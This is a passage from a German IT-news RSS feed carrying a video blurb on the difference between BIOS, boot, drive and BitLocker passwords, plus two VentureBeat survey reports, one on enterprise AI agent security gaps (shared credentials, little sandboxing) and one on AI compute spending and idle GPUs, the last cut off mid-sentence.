<link>https://tsecurity.de/de/3674736/it-security-video/the-bios-password-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674736/it-security-video/the-bios-password-mistake/</guid>
<pubDate>Fri, 17 Jul 2026 00:18:08 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:96 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/3P62uY6obOs?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Not every "BIOS password" is actually the same thing.<br />
<br />
In this conversation, the distinction is made between a BIOS setup password, a boot password, a hard drive password, and a BitLocker recovery key. Each protects a different layer of the system.<br />
<br />
Confusing these terms can lead to incorrect troubleshooting, mistaken security assumptions, or unnecessary recovery efforts. Knowing what each password actually protects makes it much easier to understand why a system is locked—or what kind of credential is really being requested.<br />
<br />
The conversation also highlights a common misconception: BitLocker recovery is separate from firmware authentication.<br />
<br />
Which password type do you think creates the most confusion for IT professionals and everyday users?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#BIOS #TechExplained #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3674337/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674337/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>are experimenting — running proofs of concept, not yet in production</b></p></td></tr><tr><td><p><b>37%</b></p></td><td><p><b>have some workloads in production, but not across the organization</b></p></td></tr><tr><td><p><b>21%</b></p></td><td><p><b>run AI in production at scale — the mature minority</b></p></td></tr><tr><td><p><b>4%</b></p></td><td><p><b>are not yet running AI workloads at all</b></p></td></tr></tbody></table><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><table><tbody><tr><td><p><b>48%</b></p></td><td><p><b>use Google Cloud — the most-used platform overall (Microsoft Azure 29%, AWS 22%, Oracle Cloud 22%)</b></p></td></tr><tr><td><p><b>41%</b></p></td><td><p><b>use Google’s Gemini models, with OpenAI close behind at 40% and Anthropic at 12%</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>run their own on-prem or co-located GPU clusters; 4% a custom open-source self-managed stack</b></p></td></tr><tr><td><p><b>&lt;2%</b></p></td><td><p><b>each use the specialized AI clouds — CoreWeave, Lambda, Crusoe, Nebius, Together, Fireworks and peers</b></p></td></tr></tbody></table><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><table><tbody><tr><td><p><b>45%</b></p></td><td><p><b>AI-specialized clouds (CoreWeave, Lambda, Crusoe, Nebius) — the top planned evaluation area</b></p></td></tr><tr><td><p><b>32%</b></p></td><td><p><b>non-NVIDIA accelerators (AWS Trainium, Google TPU, AMD Instinct, Intel Gaudi, in-house ASICs)</b></p></td></tr><tr><td><p><b>28%</b></p></td><td><p><b>Nvidia Blackwell (GB300) / next-generation GPUs</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>decentralized or distributed compute networks</b></p></td></tr><tr><td><p><b>11%</b></p></td><td><p><b>sovereign or region-specific compute; 9% say none of the above</b></p></td></tr></tbody></table><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>plan to change within the next 0–3 months — tied for the most common answer</b></p></td></tr><tr><td><p><b>36%</b></p></td><td><p><b>have no plans to change</b></p></td></tr><tr><td><p><b>22%</b></p></td><td><p><b>plan to change within 3–6 months</b></p></td></tr><tr><td><p><b>7%</b></p></td><td><p><b>plan to change within 6–12 months</b></p></td></tr></tbody></table><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><table><tbody><tr><td><p><b>41%</b></p></td><td><p><b>integration with the existing cloud and data stack — the top factor</b></p></td></tr><tr><td><p><b>35%</b></p></td><td><p><b>total cost of ownership (TCO)</b></p></td></tr><tr><td><p><b>24%</b></p></td><td><p><b>performance — latency and throughput</b></p></td></tr><tr><td><p><b>19%</b></p></td><td><p><b>each cite security/compliance, autoscaling for spiky workloads, and GPU access/availability</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>cost per 1M tokens — the least-cited factor</b></p></td></tr></tbody></table><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><table><tbody><tr><td><p><b>37%</b></p></td><td><p><b>run at 26–50% utilization</b></p></td></tr><tr><td><p><b>34%</b></p></td><td><p><b>run at 10–25% utilization</b></p></td></tr><tr><td><p><b>15%</b></p></td><td><p><b>run under 10% utilization</b></p></td></tr><tr><td><p><b>12%</b></p></td><td><p><b>run over 50% — the efficient minority</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>don’t measure utilization at all; a further 7% consume via API and run no GPUs of their own</b></p></td></tr></tbody></table><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><table><tbody><tr><td><p><b>44%</b></p></td><td><p><b>track compute cost and ROI rigorously</b></p></td></tr><tr><td><p><b>39%</b></p></td><td><p><b>track it only partially</b></p></td></tr><tr><td><p><b>20%</b></p></td><td><p><b>can’t quantify it yet</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>say it isn’t a priority</b></p></td></tr></tbody></table><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2><b>Finding 8: The next bottleneck few are watching</b></h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><table><tbody><tr><td><p><b>31%</b></p></td><td><p><b>would rely on Dell (PowerScale / Project Lightning) — the leading single answer</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>would rely on Nvidia (Dynamo / ICMSP)</b></p></td></tr><tr><td><p><b>18%</b></p></td><td><p><b>are not aware of this as a constraint (9%) or haven’t addressed inference-memory limits yet (8%)</b></p></td></tr><tr><td><p><b>10%</b></p></td><td><p><b>Hammerspace (Tier Zero); 9% DDN (Infinia); the rest split across open-source KV-cache tooling, model-level efficiency, VAST Data, and WEKA</b></p></td></tr></tbody></table><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h1><b>The bottom line: A compute gap that faster spending will widen, not close</b></h1><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is 